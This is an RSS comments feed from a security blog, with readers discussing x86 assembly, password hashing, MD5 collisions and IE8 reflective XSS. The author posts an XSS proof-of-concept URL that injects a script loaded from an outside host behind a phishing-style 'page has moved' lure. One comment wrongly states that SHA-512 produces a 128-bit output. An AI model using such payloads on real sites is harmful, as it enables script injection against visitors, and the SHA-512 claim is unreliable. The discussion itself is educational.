<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments for endeavor</title>
	<atom:link href="http://myw3b.net/blog/index.php/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://myw3b.net/blog</link>
	<description>pwning the rainbow since... 2010</description>
	<lastBuildDate>Fri, 06 Jan 2012 22:34:47 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
	<item>
		<title>Comment on x86 Assembly for C Programmers 1 by Robert Bieber</title>
		<link>http://myw3b.net/blog/index.php/2009/10/assembly-for-c-programmers-1/comment-page-1/#comment-491</link>
		<dc:creator>Robert Bieber</dc:creator>
		<pubDate>Fri, 06 Jan 2012 22:34:47 +0000</pubDate>
		<guid isPermaLink="false">http://myw3b.net/blog/?p=7#comment-491</guid>
		<description>Just a heads up, you define &quot;Word&quot; at the top as 32 bits, but then go on to explain that a DWORD is also 32 bits.  The reason for this is that while a &quot;word&quot; generally speaking fits the definition you gave, in x86 assembly in particular it&#039;s usually used to refer to 2 bytes, even though we&#039;ve moved on to 32 and 64 bit processors.  This is why a DWORD (double word) is the same size as the processor&#039;s actual word size.</description>
		<content:encoded><![CDATA[<p>Just a heads up, you define &#8220;Word&#8221; at the top as 32 bits, but then go on to explain that a DWORD is also 32 bits.  The reason for this is that while a &#8220;word&#8221; generally speaking fits the definition you gave, in x86 assembly in particular it&#8217;s usually used to refer to 2 bytes, even though we&#8217;ve moved on to 32 and 64 bit processors.  This is why a DWORD (double word) is the same size as the processor&#8217;s actual word size.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Let&#8217;s talk more about hashing passwords by rolli</title>
		<link>http://myw3b.net/blog/index.php/2011/11/lets-talk-more-about-hashing-passwords/comment-page-1/#comment-460</link>
		<dc:creator>rolli</dc:creator>
		<pubDate>Fri, 11 Nov 2011 04:17:51 +0000</pubDate>
		<guid isPermaLink="false">http://myw3b.net/blog/?p=623#comment-460</guid>
		<description>The short answer to your question is that repeat hashing without a salt is indeed at best unproductive and at worst counterproductive.  The problem lies in the fact that trying to reverse a hash for passwords does not actually rely on recovering the true password, simply an input that results in the same hash.

Now, lets look at the example of SHA-512 which reduces a 512-bit input into a 128-bit output.  This implies that on average there are 4 inputs for every potential output.  In a straight rehash of these outputs, we&#039;ve now further reduced our input space to 128-bits.  Furthermore, due to the properties of the hashing function the distribution of collisions is random which implies collisions will occur in all successive rehashings.  These collisions slowly reduce the potential output space (and hence the input space for the next iteration).  The real problem is that while this reduction is less for each successive iteration, it cannot be reversed even through salting.

An interesting way to attack this from a purely brute-force standpoint is to pick a start-value and immediately hash it 1000 times (tracking all of the intermediate values along the way).  At this point we keep rehashing until we obtain either a result that matches the target hash (in which case we&#039;ve won) or a result that matches a previous hash value.  If we&#039;ve found a previous hash, we check all values in the hash loop to see if one matches the target (in which case we&#039;ve won).  Otherwise we start with a new seed and essentially repeat the process.  This process essentially has the same complexity as the diminished output-space since the 1000 iterations only affect the initial start from a seed and are insignificant compared to the probable number of iterations before a loop is reached.  Additionally, this is a simple attack that does not even attempt to exploit the structural issues further so it is likely that far better attacks exist.

As with single hash password attacks, salting in this case only defeats the pre-computation attacks, but does not increase the complexity of attacking the hash itself.  Unfortunately, using the same hash for each iteration does absolutely nothing to reduce the effectiveness of the method mentioned above.  It requires a fresh attack against each individual password, but it does not increase the complexity.

If, however, rotate through a finite number of unique hashes as we iterate through the rehashings, then we do reduce the effectiveness of the brute force listed above by an amount approximately equal to the number of unique hashes we&#039;re utilizing (this is actually only true if the GCD of the number of hashes and number of iterations is 1).  Unfortunately, in the grand scheme of cryptography this is an ineffective approach as its actual effect on the complexity is relatively insignificant and can be easily countered by increasing the processing power you attack it with proportionally to the number of unique salts.  Even in this case though, the security has already been compromised due to the reduction in the size of possible outputs.

I would like to clarify that although my explanation of why this method does not improve security only looks at brute-force attacks, it is very likely that similar adjustments to faster attacks also exist as is often the case in cryptography.</description>
		<content:encoded><![CDATA[<p>The short answer to your question is that repeat hashing without a salt is indeed at best unproductive and at worst counterproductive.  The problem lies in the fact that trying to reverse a hash for passwords does not actually rely on recovering the true password, simply an input that results in the same hash.</p>
<p>Now, lets look at the example of SHA-512 which reduces a 512-bit input into a 128-bit output.  This implies that on average there are 4 inputs for every potential output.  In a straight rehash of these outputs, we&#8217;ve now further reduced our input space to 128-bits.  Furthermore, due to the properties of the hashing function the distribution of collisions is random which implies collisions will occur in all successive rehashings.  These collisions slowly reduce the potential output space (and hence the input space for the next iteration).  The real problem is that while this reduction is less for each successive iteration, it cannot be reversed even through salting.</p>
<p>An interesting way to attack this from a purely brute-force standpoint is to pick a start-value and immediately hash it 1000 times (tracking all of the intermediate values along the way).  At this point we keep rehashing until we obtain either a result that matches the target hash (in which case we&#8217;ve won) or a result that matches a previous hash value.  If we&#8217;ve found a previous hash, we check all values in the hash loop to see if one matches the target (in which case we&#8217;ve won).  Otherwise we start with a new seed and essentially repeat the process.  This process essentially has the same complexity as the diminished output-space since the 1000 iterations only affect the initial start from a seed and are insignificant compared to the probable number of iterations before a loop is reached.  Additionally, this is a simple attack that does not even attempt to exploit the structural issues further so it is likely that far better attacks exist.</p>
<p>As with single hash password attacks, salting in this case only defeats the pre-computation attacks, but does not increase the complexity of attacking the hash itself.  Unfortunately, using the same hash for each iteration does absolutely nothing to reduce the effectiveness of the method mentioned above.  It requires a fresh attack against each individual password, but it does not increase the complexity.</p>
<p>If, however, rotate through a finite number of unique hashes as we iterate through the rehashings, then we do reduce the effectiveness of the brute force listed above by an amount approximately equal to the number of unique hashes we&#8217;re utilizing (this is actually only true if the GCD of the number of hashes and number of iterations is 1).  Unfortunately, in the grand scheme of cryptography this is an ineffective approach as its actual effect on the complexity is relatively insignificant and can be easily countered by increasing the processing power you attack it with proportionally to the number of unique salts.  Even in this case though, the security has already been compromised due to the reduction in the size of possible outputs.</p>
<p>I would like to clarify that although my explanation of why this method does not improve security only looks at brute-force attacks, it is very likely that similar adjustments to faster attacks also exist as is often the case in cryptography.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Let&#8217;s talk about hashing passwords by Justin</title>
		<link>http://myw3b.net/blog/index.php/2011/07/lets-talk-about-hashing-passwords/comment-page-1/#comment-274</link>
		<dc:creator>Justin</dc:creator>
		<pubDate>Fri, 15 Jul 2011 15:35:16 +0000</pubDate>
		<guid isPermaLink="false">http://myw3b.net/blog/?p=535#comment-274</guid>
		<description>Thanks for the follow up. I was temporarily confused in thinking you could generate all possible MD5 hashes in 2^20 iterations. Your explanation helped a lot!</description>
		<content:encoded><![CDATA[<p>Thanks for the follow up. I was temporarily confused in thinking you could generate all possible MD5 hashes in 2^20 iterations. Your explanation helped a lot!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Let&#8217;s talk about hashing passwords by endeavormac</title>
		<link>http://myw3b.net/blog/index.php/2011/07/lets-talk-about-hashing-passwords/comment-page-1/#comment-271</link>
		<dc:creator>endeavormac</dc:creator>
		<pubDate>Wed, 13 Jul 2011 17:56:29 +0000</pubDate>
		<guid isPermaLink="false">http://myw3b.net/blog/?p=535#comment-271</guid>
		<description>@JustinBailey A collision allows you to create two plaintexts with the same hash, but you do not get to choose what the resulting hash is. So, if I have a fictional password hash abcd8765ef01, and I want to find a plaintext which will hash to this value, I need to be able to choose the resulting hash (IE I need my resulting hash to be abcd8765ef01).

The Birthday Attack (or Birthday Paradox) doesn&#039;t let you choose the birthday, it just says you will find two people with the same birthday. Because your requirements, that the person be born on, perhaps, the 7th of March, or the resulting hash be abcd8765ef01, means collisions are not useful to you.

An example where a collision may matter? (I&#039;m skipping some detail, but you&#039;ll get the gist) You create two versions of a file, be it a contract, software, you name it. One version is innocent, and the other is harmful. Now you generate a collision. Your collision will give you values that you place after the changes in the bad/harmful file. The two files will have the same resulting cryptographic hash. You vet the good file (for example have someone cryptographically sign it (see the last paragraph in &lt;a href=&quot;http://myw3b.net/blog/index.php/2011/03/a-basic-introduction-to-communicating-securely-with-pgp/&quot; rel=&quot;nofollow&quot;&gt;A Basic Introduction to Communicating Securely with PGP&lt;/a&gt; to understand how hashes are used in that process)), and once the good file is signed you can swap it for the bad file. The signatures will still match, and people will transfer their trust in the signature (originally used to sign the good file) to the bad file.</description>
		<content:encoded><![CDATA[<p>@JustinBailey A collision allows you to create two plaintexts with the same hash, but you do not get to choose what the resulting hash is. So, if I have a fictional password hash abcd8765ef01, and I want to find a plaintext which will hash to this value, I need to be able to choose the resulting hash (IE I need my resulting hash to be abcd8765ef01).</p>
<p>The Birthday Attack (or Birthday Paradox) doesn&#8217;t let you choose the birthday, it just says you will find two people with the same birthday. Because your requirements, that the person be born on, perhaps, the 7th of March, or the resulting hash be abcd8765ef01, means collisions are not useful to you.</p>
<p>An example where a collision may matter? (I&#8217;m skipping some detail, but you&#8217;ll get the gist) You create two versions of a file, be it a contract, software, you name it. One version is innocent, and the other is harmful. Now you generate a collision. Your collision will give you values that you place after the changes in the bad/harmful file. The two files will have the same resulting cryptographic hash. You vet the good file (for example have someone cryptographically sign it (see the last paragraph in <a href="http://myw3b.net/blog/index.php/2011/03/a-basic-introduction-to-communicating-securely-with-pgp/" rel="nofollow">A Basic Introduction to Communicating Securely with PGP</a> to understand how hashes are used in that process)), and once the good file is signed you can swap it for the bad file. The signatures will still match, and people will transfer their trust in the signature (originally used to sign the good file) to the bad file.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Let&#8217;s talk about hashing passwords by Justin Bailey</title>
		<link>http://myw3b.net/blog/index.php/2011/07/lets-talk-about-hashing-passwords/comment-page-1/#comment-270</link>
		<dc:creator>Justin Bailey</dc:creator>
		<pubDate>Wed, 13 Jul 2011 04:07:32 +0000</pubDate>
		<guid isPermaLink="false">http://myw3b.net/blog/?p=535#comment-270</guid>
		<description>Thanks for this post - your explanation of &quot;pre-image&quot; resistance is startling and enlightening. Google tells me it would still take a billion years to brute-force a PLAINTEXT, given its CIPHERTEXT.

However, does that matter with the collision resistance being so much smaller? Most password schemes perform a one-way hash. If an attacker gets the password file and can find a collision, then they have effectively found the password (assuming the application doesn&#039;t compare PLAINTEXT to the actual password somehow). Is MD5 any good in the end?</description>
		<content:encoded><![CDATA[<p>Thanks for this post &#8211; your explanation of &#8220;pre-image&#8221; resistance is startling and enlightening. Google tells me it would still take a billion years to brute-force a PLAINTEXT, given its CIPHERTEXT.</p>
<p>However, does that matter with the collision resistance being so much smaller? Most password schemes perform a one-way hash. If an attacker gets the password file and can find a collision, then they have effectively found the password (assuming the application doesn&#8217;t compare PLAINTEXT to the actual password somehow). Is MD5 any good in the end?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Teaching Assembly with RAVM by endeavormac</title>
		<link>http://myw3b.net/blog/index.php/2011/06/teaching-assembly-with-ravm/comment-page-1/#comment-267</link>
		<dc:creator>endeavormac</dc:creator>
		<pubDate>Thu, 30 Jun 2011 18:18:12 +0000</pubDate>
		<guid isPermaLink="false">http://myw3b.net/blog/?p=511#comment-267</guid>
		<description>@Anonymous I don&#039;t have time to download and run the PEP/8 right now, but from what I&#039;ve read and can see it looks absolutely awesome. I will give it a try when I get time.

@ArtB The larger process is teaching security, with an end goal of introducing and understanding many of the exploitation techniques in use today. Many, but not all, of today&#039;s exploits are written to take advantage of software running on x86 CPUs. Hence, x86 assembly is very relevant :).</description>
		<content:encoded><![CDATA[<p>@Anonymous I don&#8217;t have time to download and run the PEP/8 right now, but from what I&#8217;ve read and can see it looks absolutely awesome. I will give it a try when I get time.</p>
<p>@ArtB The larger process is teaching security, with an end goal of introducing and understanding many of the exploitation techniques in use today. Many, but not all, of today&#8217;s exploits are written to take advantage of software running on x86 CPUs. Hence, x86 assembly is very relevant :).</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Teaching Assembly with RAVM by ArtB</title>
		<link>http://myw3b.net/blog/index.php/2011/06/teaching-assembly-with-ravm/comment-page-1/#comment-266</link>
		<dc:creator>ArtB</dc:creator>
		<pubDate>Thu, 30 Jun 2011 17:45:44 +0000</pubDate>
		<guid isPermaLink="false">http://myw3b.net/blog/?p=511#comment-266</guid>
		<description>Curious, but why teach x86 when ARM introduces RISC as well, and is more likely to have more new assembly code written for it in the foreseeable future?</description>
		<content:encoded><![CDATA[<p>Curious, but why teach x86 when ARM introduces RISC as well, and is more likely to have more new assembly code written for it in the foreseeable future?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Teaching Assembly with RAVM by Anonymous</title>
		<link>http://myw3b.net/blog/index.php/2011/06/teaching-assembly-with-ravm/comment-page-1/#comment-265</link>
		<dc:creator>Anonymous</dc:creator>
		<pubDate>Thu, 30 Jun 2011 17:44:26 +0000</pubDate>
		<guid isPermaLink="false">http://myw3b.net/blog/?p=511#comment-265</guid>
		<description>Take a look at the PEP8 virtual machine coming out of Pepperdine University.

http://code.google.com/p/pep8-1/</description>
		<content:encoded><![CDATA[<p>Take a look at the PEP8 virtual machine coming out of Pepperdine University.</p>
<p><a href="http://code.google.com/p/pep8-1/" rel="nofollow">http://code.google.com/p/pep8-1/</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on IE8 and reflective XSS by endeavormac</title>
		<link>http://myw3b.net/blog/index.php/2011/02/ie8-and-reflective-xss/comment-page-1/#comment-138</link>
		<dc:creator>endeavormac</dc:creator>
		<pubDate>Thu, 03 Feb 2011 01:02:37 +0000</pubDate>
		<guid isPermaLink="false">http://myw3b.net/blog/?p=436#comment-138</guid>
		<description>Unfortunately I am unable to provide more details :/ on the website. However, this XSS is still working for me.

Here is a proof of concept, ready to go (wordpress is breaking the link. Just copy/paste):
http://myw3b.net/xss.php?action=&lt;h1&gt;&lt;a href=&quot;?action=&lt;SCRIPT SRC=http://1488928516/4029q0&gt;&lt;/SCRIPT&gt;&quot;&gt;This page has moved! Please click here!&lt;/a&gt;&lt;/h1&gt;&lt;iframe width=&quot;1&quot; height=&quot;1&quot;&gt;

I should note, you will probably generate a &lt;i&gt;warning&lt;/i&gt;, but the XSS will still execute.

And my apologies for the mistake ;).</description>
		<content:encoded><![CDATA[<p>Unfortunately I am unable to provide more details :/ on the website. However, this XSS is still working for me.</p>
<p>Here is a proof of concept, ready to go (wordpress is breaking the link. Just copy/paste):<br />
<a href="http://myw3b.net/xss.php?action=&lt;h1&gt;&lt;a" rel="nofollow">http://myw3b.net/xss.php?action=&lt;h1&gt;&lt;a</a> href=&quot;?action=&lt;SCRIPT SRC=http://1488928516/4029q0&gt;&lt;/SCRIPT&gt;&quot;&gt;This page has moved! Please click here!&lt;/a&gt;&lt;/h1&gt;&lt;iframe width=&quot;1&quot; height=&quot;1&quot;&gt;</p>
<p>I should note, you will probably generate a <i>warning</i>, but the XSS will still execute.</p>
<p>And my apologies for the mistake ;).</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on IE8 and reflective XSS by Neal Poole</title>
		<link>http://myw3b.net/blog/index.php/2011/02/ie8-and-reflective-xss/comment-page-1/#comment-137</link>
		<dc:creator>Neal Poole</dc:creator>
		<pubDate>Wed, 02 Feb 2011 15:05:13 +0000</pubDate>
		<guid isPermaLink="false">http://myw3b.net/blog/?p=436#comment-137</guid>
		<description>Also, it&#039;s probably worth giving a little more detail about the page where you were able to do this (maybe include a proof of concept?). I just tried using your exact method and IE8&#039;s XSS filter caught the attack.</description>
		<content:encoded><![CDATA[<p>Also, it&#8217;s probably worth giving a little more detail about the page where you were able to do this (maybe include a proof of concept?). I just tried using your exact method and IE8&#8242;s XSS filter caught the attack.</p>
]]></content:encoded>
	</item>
</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using disk: basic (Requested URI is rejected)

Served from: myw3b.net @ 2012-05-19 08:21:54 -->
